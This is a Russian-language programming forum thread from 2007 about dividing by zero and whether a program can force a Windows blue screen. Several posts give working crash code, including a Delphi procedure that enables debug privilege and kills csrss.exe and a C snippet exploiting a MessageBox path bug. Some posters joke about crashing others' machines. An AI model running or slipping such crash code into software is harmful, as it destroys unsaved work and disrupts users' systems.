Сейчас на форуме: tyns777 (+5 невидимых)

 eXeL@B —› Программирование —› Деление на NULL
. 1 . 2 . >>
Посл.ответ Сообщение

Ранг: 13.0 (новичок)
Активность: 0.020
Статус: Участник

Создано: 25 сентября 2007 01:43
· Личное сообщение · #1

Насколько я знаю деление на ноль запрещено и приводит к bsod, но всё же мне интересно можно ли реализовать его на MASM32, если да, то как?
P.S. Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...




Ранг: 109.2 (ветеран)
Активность: 0.090
Статус: Участник
Cardinal

Создано: 25 сентября 2007 01:55 · Поправил: tnt17
· Личное сообщение · #2

_FILIN_
В нулевом кольце -да, деление на ноль не обрабатываемое исключение.
_FILIN_ пишет:
P.S. Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...

Все возможно, ограничений нет.
//edx:eax / ebx
_asm{
xor ebx,ebx
div ebx
}

-----
– Почему ты работаешь по ночам ? – Так удобнее... В одну смену с чертями...





Ранг: 247.7 (наставник), 3thx
Активность: 0.160
Статус: Участник
Халявщик

Создано: 25 сентября 2007 06:43
· Личное сообщение · #3

а зачем вообще специально делить на ноль?

-----
Лень - это подсознательная мудрость





Ранг: 260.9 (наставник)
Активность: 0.120
Статус: Участник
John Smith

Создано: 25 сентября 2007 07:11
· Личное сообщение · #4

новерное человек хочет вызвать бсод на чужой тачке =)

-----
Недостаточно только получить знания:надо найти им приложение





Ранг: 110.0 (ветеран), 1thx
Активность: 0.090
Статус: Участник

Создано: 25 сентября 2007 07:26
· Личное сообщение · #5

Как можно поделить на ноль. Числа на ноль не делятся. Математику в Школе не изучали.

Зачем думать о деление на ноль зачем кодить такое (образно выражаясь):
a=5
b=0
if b<>0 then rezult=a/b
else rezult=0
print zezult

-----
Никто не знает столько, сколько не знаю я




Ранг: 500.5 (!), 8thx
Активность: 0.230
Статус: Участник

Создано: 25 сентября 2007 07:50
· Личное сообщение · #6

в ринг3 помойму нет кода, способного вызвать бсод, на уровне дров - никаких сложностей нет, вышеприведенный пример с div ebx реально сработает, или вызов какого нибудь прерывания без обработчика.

-----
"Пусть видят, что мы не шутим. Стволы для понта, ножи для дела" Lock, Stock & Two Smoking Barrels





Ранг: 110.0 (ветеран), 1thx
Активность: 0.090
Статус: Участник

Создано: 25 сентября 2007 08:09
· Личное сообщение · #7

в ринг3 помойму нет кода, способного вызвать бсод, на уровне дров - никаких сложностей нет, вышеприведенный пример с div ebx реально сработает, или вызов какого нибудь прерывания без обработчика.

Угу под сисер щас проверил тут на одном компе. Вставил код для процесса [system] и лол коп молча ребутнился.

-----
Никто не знает столько, сколько не знаю я




Ранг: 214.1 (наставник)
Активность: 0.130
Статус: Участник

Создано: 25 сентября 2007 08:44
· Личное сообщение · #8

очень часто встречается простой трюк с делением на ноль - как уход от новичков при отладке. перед делением на ноль описывается модуль который возьмет на себя управление при исключении. проще говоря он кинет программу на адрес положенный в стек.



Ранг: 160.1 (ветеран)
Активность: 0.070
Статус: Участник

Создано: 25 сентября 2007 09:22
· Личное сообщение · #9

_FILIN_ пишет:
Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...

в msvc если написать напрямую int r = 5 / 0; или int b = 0; int c = f / b; то получим ошибку компиляции - попытка деления на ноль и проект не соберется. Приходится извращаться ;)




Ранг: 247.7 (наставник), 3thx
Активность: 0.160
Статус: Участник
Халявщик

Создано: 25 сентября 2007 09:51
· Личное сообщение · #10

да ладно нельзя на 3 кольце в синий экран выпасть! завершите системный процесс и кердык... вот че че а систему повесить это я умею...

-----
Лень - это подсознательная мудрость





Ранг: 110.0 (ветеран), 1thx
Активность: 0.090
Статус: Участник

Создано: 25 сентября 2007 11:25 · Поправил: Satanael
· Личное сообщение · #11

_FILIN_ пишет:
Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...
в msvc если написать напрямую int r = 5 / 0; или int b = 0; int c = f / b; то получим ошибку компиляции - попытка деления на ноль и проект не соберется. Приходится извращаться ;)


Ха а в дельфи спокойно компилится такой код
Ошибка типа Runtime Error xxxxxxx выдаёт

P.S.
Я попробовал в VS2005 этот код, он компилится и запускается(соответственно прога "падает").

-----
Никто не знает столько, сколько не знаю я





Ранг: 126.7 (ветеран)
Активность: 0.140
Статус: Участник
#CCh

Создано: 25 сентября 2007 12:06
· Личное сообщение · #12

depler так росскажите, как вызвать бсод из ринг3, а то аффтар пока стеснецо спросить напрямую.. да и мне интересно)

*Ice^T changes topic to "как спровоцировать бсод из ринг3"

-----
invoke OpenFire





Ранг: 156.2 (ветеран), 2thx
Активность: 0.090
Статус: Участник

Создано: 25 сентября 2007 12:07
· Личное сообщение · #13

_FILIN_
var n1, n2:integer;
result:real;
begin
try
n1:=7;
n2:=7;
Result:=Result/(n1 - n2)
except
<НУЖНЫЙ КОД>
end



Ранг: 36.7 (посетитель)
Активность: 0.010
Статус: Участник

Создано: 25 сентября 2007 12:15 · Поправил: Hill
· Личное сообщение · #14

Satanael пишет:
Я попробовал в VS2005 этот код, он компилится и запускается(соответственно прога "падает")


нифига! уже давно проверено! Возвращает NaN. Так как совершенно справедливо считает результат деления на 0 бесконечностью... Хотя возможно патчи свою роль сыграли...

Пропустил прогу писанную в дельфе через софтайс никакого бсода не вызвало чето ... Тупо показало Unhandled Exeption




Ранг: 109.2 (ветеран)
Активность: 0.090
Статус: Участник
Cardinal

Создано: 25 сентября 2007 12:17
· Личное сообщение · #15

Ice-T
Из 3го кольца - только обращаясь к кривым драйверам и криво перехваченным сервисам,api.

-----
– Почему ты работаешь по ночам ? – Так удобнее... В одну смену с чертями...





Ранг: 126.7 (ветеран)
Активность: 0.140
Статус: Участник
#CCh

Создано: 25 сентября 2007 12:19
· Личное сообщение · #16

Mavlyudov не сработает ваш код

-----
invoke OpenFire





Ранг: 247.7 (наставник), 3thx
Активность: 0.160
Статус: Участник
Халявщик

Создано: 25 сентября 2007 12:36 · Поправил: depler
· Личное сообщение · #17

depler так росскажите, как вызвать бсод из ринг3, а то аффтар пока стеснецо спросить напрямую.. да и мне интересно)

*Ice^T changes topic to "как спровоцировать бсод из ринг3"


Рассказываю.
Включаете в своем процессе привилегию на отладку(как догадайтесь сами), потом все просто -
TerminateProcess для csrss.exe например - и привет BSOD!

-----
Лень - это подсознательная мудрость




Ранг: 251.3 (наставник), 81thx
Активность: 0.140.11
Статус: Участник

Создано: 25 сентября 2007 12:52
· Личное сообщение · #18

Hill пишет:
нифига! уже давно проверено! Возвращает NaN. Так как совершенно справедливо считает результат деления на 0 бесконечностью...

Это какой такой NaN при делении целых чисел?
NaN это вообще из сопроцессора понятие, и кстати бесконечность это либо +INF либо -INF, но никак не NaN
NaN это к примеру корень из -4.



Ранг: 36.7 (посетитель)
Активность: 0.010
Статус: Участник

Создано: 25 сентября 2007 13:09
· Личное сообщение · #19

cppasm пишет:
кстати бесконечность это либо +INF либо -INF


строка такая
First=0;
temp = 1 / (2 * First);

выделяю 1 / (2 * First)
вылетает хинт типа значение = Infinity
а temp в результате = NaN




Ранг: 247.7 (наставник), 3thx
Активность: 0.160
Статус: Участник
Халявщик

Создано: 25 сентября 2007 13:17 · Поправил: depler
· Личное сообщение · #20

вот еще прикол, уязвимость - windows выпадает в синий экран.

на С:
#include <Windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\??\C:";

for(int i = 0; i < 100; i ++)
::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);

return 0;
}


-----
Лень - это подсознательная мудрость





Ранг: 109.2 (ветеран)
Активность: 0.090
Статус: Участник
Cardinal

Создано: 25 сентября 2007 13:21
· Личное сообщение · #21

depler
Ее вроде уже пофиксили? Еще весной, если не ошибаюсь.

-----
– Почему ты работаешь по ночам ? – Так удобнее... В одну смену с чертями...





Ранг: 61.7 (постоянный)
Активность: 0.050
Статус: Участник
я

Создано: 25 сентября 2007 13:59 · Поправил: BaGiE
· Личное сообщение · #22

depler
скомпиль второе у мну не работает =)

зато

procedure DoMakeBSOD();
var
TPPrev, TP: TTokenPrivileges;
Token: THandle;
dwRetLen: DWORD;
hSnapshoot: THandle;
pe32: TProcessEntry32;
begin
OpenProcessToken(DWORD(-1), TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES, Token);
TP.PrivilegeCount := 1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TP.Privileges[0].LUID);
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(Token, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize := SizeOf(TProcessEntry32);
if (Process32First(hSnapshoot, pe32)) then
repeat
if StrComp(PChar(LowerCase(pe32.szExeFile)), 'csrss.exe') = 0 then
TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, pe32.th32ProcessID), 0);
until
not Process32Next(hSnapshoot, pe32);
end;


стабильно вызывает STOP 0x000000F4 =)))

надо еще на последнем UpdatePack для XP проверить. мб. там не работает уже



Ранг: 251.3 (наставник), 81thx
Активность: 0.140.11
Статус: Участник

Создано: 25 сентября 2007 14:06
· Личное сообщение · #23

Hill пишет:
вылетает хинт типа значение = Infinity
а temp в результате = NaN

Это ты в VS2005 под отладчиком смотрел?
А теперь собери релиз и посмотри что будет.
temp не изменится, будет исключение и все.
PS: BSOD'a ясен пень не будет



Ранг: 500.5 (!), 8thx
Активность: 0.230
Статус: Участник

Создано: 25 сентября 2007 14:32
· Личное сообщение · #24

BaGiE пишет:
надо еще на последнем UpdatePack для XP проверить. мб. там не работает уже

надо бы на висте проверить, она вроде чуть более защищена от таких трюков чем xp

-----
"Пусть видят, что мы не шутим. Стволы для понта, ножи для дела" Lock, Stock & Two Smoking Barrels




Ранг: 160.1 (ветеран)
Активность: 0.070
Статус: Участник

Создано: 25 сентября 2007 16:00
· Личное сообщение · #25

Satanael пишет:
Я попробовал в VS2005 этот код, он компилится и запускается(соответственно прога "падает").


int r = 5 / 0;

1>d:\1\qq\qq.cpp(9) : error C2124: divide or mod by zero

int f = 5;
int b = 0;
int c = f / b;

это компилится и падает.



Ранг: 13.0 (новичок)
Активность: 0.020
Статус: Участник

Создано: 25 сентября 2007 16:15
· Личное сообщение · #26

Всем спасибо за ответы, на вопрос о том зачем мне это? отвечу что есть знакомый который не верит в bsod, вот буду его разубеждать + это отличный вариант антиотладки...думаю многих новичков испугает сам факт того что комп вылетает после того как порылся в проге...как я понял реализовать такое возможно, но для этого надо немного извращатся ( например поставить джамп пока EDX не будет ноль...), правельно я понял?
P.S. Кстати реализую на асме...но примеры на с++ тоже пригодились



Ранг: 49.7 (посетитель)
Активность: 0.020
Статус: Участник

Создано: 25 сентября 2007 16:26
· Личное сообщение · #27

_FILIN_, ещё раз, BSOD из под третьего кольца невозможен. Только через дырки в винде или кривые драйвера. Так что деление на ноль, обращение к неверной странице памяти и прочее приведут лишь к падению приложения, но никак не к BSOD.




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 25 сентября 2007 16:34
· Личное сообщение · #28

ViSoR дело говорит, из ринг3 бсод сделать нереально. А всякие извращения с csrss и прочими-дык это системные процессы и без них винда работать не может. А чо-то с этими процессами можно делать только из админа, а уж для админа сделать бсод много ума не надо. А с обычными правами без каких-то приватных сплоитов повышения привилегий или юза кривых драйверов синяка не получить.



Ранг: 13.0 (новичок)
Активность: 0.020
Статус: Участник

Создано: 25 сентября 2007 16:47 · Поправил: _FILIN_
· Личное сообщение · #29

как насчёт нулевого кольца? думаю там проблемм не будет...а вообще как-то странно, когда ненадо так bsod сам вылетает...когда надо то и не зделаеш...
P.S. Собственно мне ничего особенного не надо, просто показать бсод, так сказать наочно...



Ранг: 251.3 (наставник), 81thx
Активность: 0.140.11
Статус: Участник

Создано: 25 сентября 2007 17:13
· Личное сообщение · #30

_FILIN_ пишет:
как насчёт нулевого кольца?

Без прав админа если не считать драйвера и сплоиты ты в нулевое кольцо нге пролезеш.
_FILIN_ пишет:
Собственно мне ничего особенного не надо, просто показать бсод, так сказать наочно...

Ну дык напиши минимальный драйвер с делением на ноль.


. 1 . 2 . >>
 eXeL@B —› Программирование —› Деление на NULL
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати